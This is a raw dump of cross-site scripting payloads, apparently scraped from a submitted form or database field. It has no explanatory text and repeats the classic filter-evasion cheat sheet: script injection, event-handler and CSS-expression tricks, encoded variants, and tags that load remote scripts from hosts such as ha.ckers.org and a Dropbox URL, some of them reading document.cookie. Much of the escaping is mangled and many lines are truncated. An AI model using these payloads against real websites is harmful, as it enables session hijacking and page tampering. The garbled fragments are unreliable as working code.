SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search\\r\\n<script>alert(\\\"hellox worldss\\\")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510\\r\\n<script>alert(\\\"XSS\\\");</script>&search=1\\r\\n0&q=\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert%2?8String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode?(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search\\r\\n<h1><font color=blue>hellox worldss</h1>\\r\\n<BODY ONLOAD=alert(\\\'hellox worldss\\\')>\\r\\n<input onfocus=write(XSS) autofocus>\\r\\n<input onblur=write(XSS) autofocus><input autofocus>\\r\\n<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form><button formaction=\\\"javascript:alert(XSS)\\\">lol\\r\\n<!--<img src=\\\"--><img src=x onerror=alert(XSS)//\\\">\\r\\n<![><img src=\\\"]><img src=x onerror=alert(XSS)//\\\">\\r\\n<style><img src=\\\"</style><img src=x onerror=alert(XSS)//\\\">\\r\\n<? foo=\\\"><script>alert(1)</script>\\\">\\r\\n<! foo=\\\"><script>alert(1)</script>\\\">\\r\\n</ foo=\\\"><script>alert(1)</script>\\\">\\r\\n<? foo=\\\"><x foo=\\\'?><script>alert(1)</script>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo><script>alert(1)</script>\\\">\\r\\n<% foo><x foo=\\\"%><script>alert(123)</script>\\\">\\r\\n<div style=\\\"font-family:\\\'foo ;color:red;\\\';\\\">LOL\\r\\nLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>\\r\\n<script>({0:#0=alert/#0#/#0#(0)})</script>\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">LOL<script>alert(123)</script></svg>\\r\\n<SCRIPT>alert(/XSS/.source)</SCRIPT>\\r\\n\\\\\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\\\\\"XSS\\\\\\\");</SCRIPT>\\r\\n<INPUT TYPE=\\\\\\\"IMAGE\\\\\\\" SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<BODY BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<BODY ONLOAD=alert(\\\'XSS\\\')>\\r\\n<IMG DYNSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<IMG LOWSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<BGSOUND SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<BR SIZE=\\\\\\\"&{alert(\\\'XSS\\\')}\\\\\\\">\\r\\n<LAYER SRC=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></LAYER>\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"http://ha.ckers.org/xss.css\\\\\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\\\\\"Link\\\\\\\" Content=\\\\\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\\\\\">\\r\\n<STYLE>BODY{-moz-binding:url(\\\\\\\"http://ha.ckers.org/xssmoz.xml#xss\\\\\\\")}</STYLE>\\r\\n<XSS STYLE=\\\\\\\"behavior: url(xss.htc);\\\\\\\">\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\\\\\"XSS\\\\\\\")\\\'>\\r\\n<IMG SRC=\\\\\\\"mocha:[code]\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"livescript:[code]\\\\\\\">\\r\\nscriptualert(EXSSE)/scriptu\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\\\\\"\\r\\n<IFRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<TABLE><TD BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"width: expression(alert(\\\'XSS\\\'));\\\\\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\\\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<XSS STYLE=\\\\\\\"xss:expression(alert(\\\'XSS\\\'))\\\\\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\\\\\"*//*\\\\\\\");\\r\\nxss:ex/*XSS*//*/*/pression(alert(\\\\\\\"XSS\\\\\\\"))\\\'>\\r\\n<STYLE TYPE=\\\\\\\"text/javascript\\\\\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\\\\\"text/css\\\\\\\">BODY{background:url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\")}</STYLE>\\r\\n<!--[if gte IE 4]>\\r\\n<SCRIPT>alert(\\\'XSS\\\');</SCRIPT>\\r\\n<![endif]-->\\r\\n<BASE HREF=\\\\\\\"javascript:alert(\\\'XSS\\\');//\\\\\\\">\\r\\n<OBJECT TYPE=\\\\\\\"text/x-scriptlet\\\\\\\" DATA=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(\\\'XSS\\\')></OBJECT>\\r\\n<EMBED SRC=\\\\\\\"http://ha.ckers.org/xss.swf\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\n<EMBED SRC=\\\\\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\\\\\" type=\\\\\\\"image/svg+xml\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\na=\\\\\\\"get\\\\\\\";\\r\\nb=\\\\\\\"URL(\\\\\\\\\\\"\\\\\\\";\\r\\nc=\\\\\\\"javascript:\\\\\\\";\\r\\nd=\\\\\\\"alert(\\\'XSS\\\');\\\\\\\\\\\")\\\\\\\";\\r\\neval(a+b+c+d);\\r\\n<HTML xmlns:xss><?import namespace=\\\\\\\"xss\\\\\\\" implementation=\\\\\\\"http://ha.ckers.org/xss.htc\\\\\\\"><xss:xss>XSS</xss:xss></HTML>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\\\\\"javas]]><![CDATA[cript:alert(\\\'XSS\\\');\\\\\\\">]]>\\r\\n</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<XML ID=\\\\\\\"xss\\\\\\\"><I><B><IMG SRC=\\\\\\\"javas<!-- -->cript:alert(\\\'XSS\\\')\\\\\\\"></B></I></XML>\\r\\n<SPAN DATASRC=\\\\\\\"#xss\\\\\\\" DATAFLD=\\\\\\\"B\\\\\\\" DATAFORMATAS=\\\\\\\"HTML\\\\\\\"></SPAN>\\r\\n<XML SRC=\\\\\\\"xsstest.xml\\\\\\\" ID=I></XML>\\r\\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<HTML><BODY>\\r\\n<?xml:namespace prefix=\\\\\\\"t\\\\\\\" ns=\\\\\\\"urn:schemas-microsoft-com:time\\\\\\\">\\r\\n<?import namespace=\\\\\\\"t\\\\\\\" implementation=\\\\\\\"#default#time2\\\\\\\">\\r\\n<t:set attributeName=\\\\\\\"innerHTML\\\\\\\" to=\\\\\\\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\\\\\\\">\\r\\n</BODY></HTML>\\r\\n<SCRIPT SRC=\\\\\\\"http://ha.ckers.org/xss.jpg\\\\\\\"></SCRIPT>\\r\\n<!--#exec cmd=\\\\\\\"/bin/echo \\\'<SCR\\\'\\\\\\\"--><!--#exec cmd=\\\\\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\\'\\\\\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';\\r\\necho(\\\'IPT>alert(\\\\\\\"XSS\\\\\\\")</SCRIPT>\\\'); ?>\\r\\n<IMG SRC=\\\\\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\\\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\\\\\"Set-Cookie\\\\\\\" Content=\\\\\\\"USERID=<SCRIPT>alert(\\\'XSS\\\')</SCRIPT>\\\\\\\">\\r\\n<HEAD><META HTTP-EQUIV=\\\\\\\"CONTENT-TYPE\\\\\\\" CONTENT=\\\\\\\"text/html; charset=UTF-7\\\\\\\"> </HEAD>+ADw-SCRIPT+AD4-alert(\\\'XSS\\\');+ADw-/SCRIPT+AD4-\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT =\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" \\\'\\\' SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT \\\\\\\"a=\\\'>\\\'\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT a=`>` SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\\\\\">\\\'>\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\\\\\"<SCRI\\\\\\\");</SCRIPT>PT SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<A HREF=\\\\\\\"http://66.102.7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://1113982867/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0x42.0x0000066.0x7.0x93/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0102.0146.0007.00000223/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"htt p://6 6.000146.0x7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//www.google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://ha.ckers.org@google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google:ha.ckers.org\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.google.com./\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"javascript:document.location=\\\'http://www.google.com/\\\'\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.gohttp://www.google.com/ogle.com/\\\\\\\">XSS</A>\\r\\n<\\r\\n%3C\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n\\\\x3c\\r\\n\\\\x3C\\r\\n\\\\u003c\\r\\n\\\\u003C\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html>\\r\\n<IMG SRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\"\\r\\n<SCRIPT SRC=//ha.ckers.org/.js>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>\\r\\n<<SCRIPT>alert(\\\\\\\"XSS\\\\\\\");//<</SCRIPT>\\r\\n<SCRIPT/SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\\\\\"XSS\\\\\\\")>\\r\\n<SCRIPT/XSS SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\"></SCRIPT>\\r\\n<IMG SRC=\\\\\\\" javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG SRC=java\\\\0script:alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")>\\\\\\\";\\\' > out\\r\\n<IMG SRC=\\\\\\\"jav
ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"jav
ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"jav	ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG \\\\\\\"\\\\\\\"\\\\\\\"><SCRIPT>alert(\\\\\\\"XSS\\\\\\\")</SCRIPT>\\\\\\\">\\r\\n<IMG SRC=`javascript:alert(\\\\\\\"RSnake says, \\\'XSS\\\'\\\\\\\")`>\\r\\n<IMG SRC=javascript:alert("XSS")>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n\\\'\\\';!--\\\\\\\"<XSS>=&{()}\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\\\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascrscriptipt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<IMG SRC=\\\"  javascript:alert(\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\"XSS\\\");</SCRIPT>\\r\\nscriptalert(XSS)/script\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\">\\r\\n<DIV STYLE=\\\"width: expression(alert(\\\'XSS\\\'));\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"xss:expression(alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\na=\\\"get\\\";b=\\\"URL(ja\\\\\\\"\\\";c=\\\"vascr\\\";d=\\\"ipt:ale\\\";e=\\\"rt(\\\'XSS\\\');\\\\\\\")\\\";eval(a+b+c+d+e);\\r\\n<SCRIPT SRC=\\\"http://ha.ckers.org/xss.jpg\\\"></SCRIPT>\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\\\"></BODY></HTML>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"javascript:alert(123)\\\">TESTHTML5FORMACTION\\r\\n<form><button formaction=\\\"javascript:alert(123)\\\">crosssitespt\\r\\n<frameset onload=alert(123)>\\r\\n<!--<img src=\\\"--><img src=x onerror=alert(123)//\\\">\\r\\n<style><img src=\\\"</style><img src=x onerror=alert(123)//\\\">\\r\\n<object data=\\\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"javascript:alert(1)\\\">\\r\\n<? foo=\\\"><script>alert(1)</script>\\\">\\r\\n<! foo=\\\"><script>alert(1)</script>\\\">\\r\\n</ foo=\\\"><script>alert(1)</script>\\\">\\r\\n<script>({0:#0=alert/#0#/#0#(123)})</script>\\r\\n<script>ReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){alert(123)}),x</script>\\r\\n<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'alert(1)\\\')()</script>\\r\\n<script src=\\\"#\\\">{alert(1)}</script>;1\\r\\n<script>crypto.generateCRMFRequest(\\\'CN=0\\\',0,0,null,\\\'alert(1)\\\',384,null,\\\'rsa-dual-use\\\')</script>\\r\\n<svg xmlns=\\\"#\\\"><script>alert(1)</script></svg>\\r\\n<svg onload=\\\"javascript:alert(123)\\\" xmlns=\\\"#\\\"></svg>\\r\\n<iframe xmlns=\\\"#\\\" src=\\\"javascript:alert(1)\\\"></iframe>\\r\\n+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-\\r\\n%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-\\r\\n+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-\\r\\n%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-\\r\\n%253cscript%253ealert(document.cookie)%253c/script%253e\\r\\n><s%2bcript>alert(document.cookie)</script>\\r\\n><ScRiPt>alert(document.cookie)</script>\\r\\n><<script>alert(document.cookie);//<</script>\\r\\nfoo<script>alert(document.cookie)</script>\\r\\n<scr<script>ipt>alert(document.cookie)</scr</script>ipt>\\r\\n%22/%3E%3CBODY%20onload=document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)%3E\\r\\n; alert(document.cookie); var foo=\\r\\nfoo\\\\; alert(document.cookie);//;\\r\\n</script><script >alert(document.cookie)</script>\\r\\n<img src=asdf onerror=alert(document.cookie)>\\r\\n<BODY ONLOAD=alert(XSS)>\\r\\n<script>alert(1)</script>\\r\\n\\\"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>\\r\\n<video src=1 onerror=alert(1)>\\r\\n<audio src=1 onerror=alert(1)>
keyword(s): v
description: alert(123);\\r\\nalert(\\\"XSS\\\");\\r\\nalert(123)\\r\\nalert(\\\"hellox worldss\\\");\\r\\nalert(XSS) \\r\\nalert(XSS);\\r\\nalert(XSS)\\r\\n>alert(XSS)\\r\\nalert(/XSS)\\r\\nalert(/XSS/)\\r\\nalert(1)\\r\\n; alert(1);\\r\\n)alert(1);//\\r\\nalert(1)\\r\\n<IMG SRC=(XSS)>\\r\\n<IMG SRC=(XSS);>\\r\\n<IMG SRC=("XSS")>\\r\\n<IMG SRC=(XSS)> \\r\\n<img src=xss =alert(1)>\\r\\n\\r\\n\\r\\n<iframe src=\\\"	(1)	\\\">\\r\\n\\r\\n<svg><style>{font-family:\\\'<iframe/=confirm(1)>\\\'\\r\\n\\r\\n<input/=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n\\r\\n<sVg><scRipt >alert(1) {Opera}\\r\\n\\r\\n<img/src=`` =this.=confirm(1)\\r\\n\\r\\n<form><isindex formaction=\\\"javascript:confirm(1)\\\"\\r\\n\\r\\n<img src=``
 =alert(1)
\\r\\n\\r\\n<script/	 src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' /	>\\r\\n\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n\\r\\n<iframe/src=\\\"PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n\\r\\n<script /**/>/**/alert(1)/**/</script /**/\\r\\n\\r\\n"><h1/=\\\'\\\\u0061lert(1)\\\'>\\r\\n\\r\\n<iframe/src=\\\"PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"	 >X</a\\r\\n\\r\\nhttp://www.google<script .com>alert)</script\\r\\n\\r\\n<a href=[�]\\\"� =prompt(1)//\\\">XYZ</a\\r\\n\\r\\n<img/src=@  = prompt(\\\'1\\\')\\r\\n\\r\\n<style/=prompt(\\\'XSS\\\')\\r\\n\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n\\r\\n</style  ><script   :-(>/**/alert)/**/</script   :-(\\r\\n\\r\\n�</form><input type=\\\"date\\\" =\\\"alert(1)\\\">\\r\\n\\r\\n<form><textarea =\\\'\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(1)\\\'>\\r\\n\\r\\n<script /***/>/***/confirm(\\\'\\\\uFF41\\\\uFF4C\\\\uFF45\\\\uFF52\\\\uFF54\\\\u1455\\\\uFF11\\\\u1450\\\')/***/</script /***/\\r\\n\\r\\n<iframe srcdoc=\\\'<body =prompt(1)>\\\'>\\r\\n\\r\\n<a href=\\\"(0)\\\" =
(1)
>X</a>\\r\\n\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n\\r\\n<style/=<!--	> alert (1)>\\r\\n\\r\\n<///style///><span %2F =\\\'alert(1)\\\'>SPAN\\r\\n\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' =	prompt(1)\\r\\n\\r\\n"><svg><style>{-o-link-source:\\\'<body/=confirm(1)>\\\'\\r\\n\\r\\n <blink/ =prompt(1)> {Firefox & Opera}\\r\\n\\r\\n<marquee =\\\';#x28;1)\\\'>^__^\\r\\n\\r\\n<div/style=\\\"width:confirm(1))\\\">X</div> {IE7}\\r\\n\\r\\n<iframe// src=javaSCRIPT:alert(1)\\r\\n\\r\\n//<form/action=javascript:alert(document.cookie)><input/type=\\\'submit\\\'>//\\r\\n\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/=prompt(1) /*iframe/src*/>\\r\\n\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n\\r\\n</font>/<svg><style>{src:\\\'<style/=this.=confirm(1)>\\\'</font>/</style>\\r\\n\\r\\n<a/href=\\\";#13; (1)\\\"><input type=\\\"X\\\">\\r\\n\\r\\n</plaintext\\\\></|\\\\><plaintext/=prompt(1)\\r\\n\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n\\r\\n<a href=\\\"javascript:\\\\u0061le%72t(1)\\\"><button>\\r\\n\\r\\n<div =\\\'alert(1)\\\'>DIV</div>\\r\\n\\r\\n<iframe 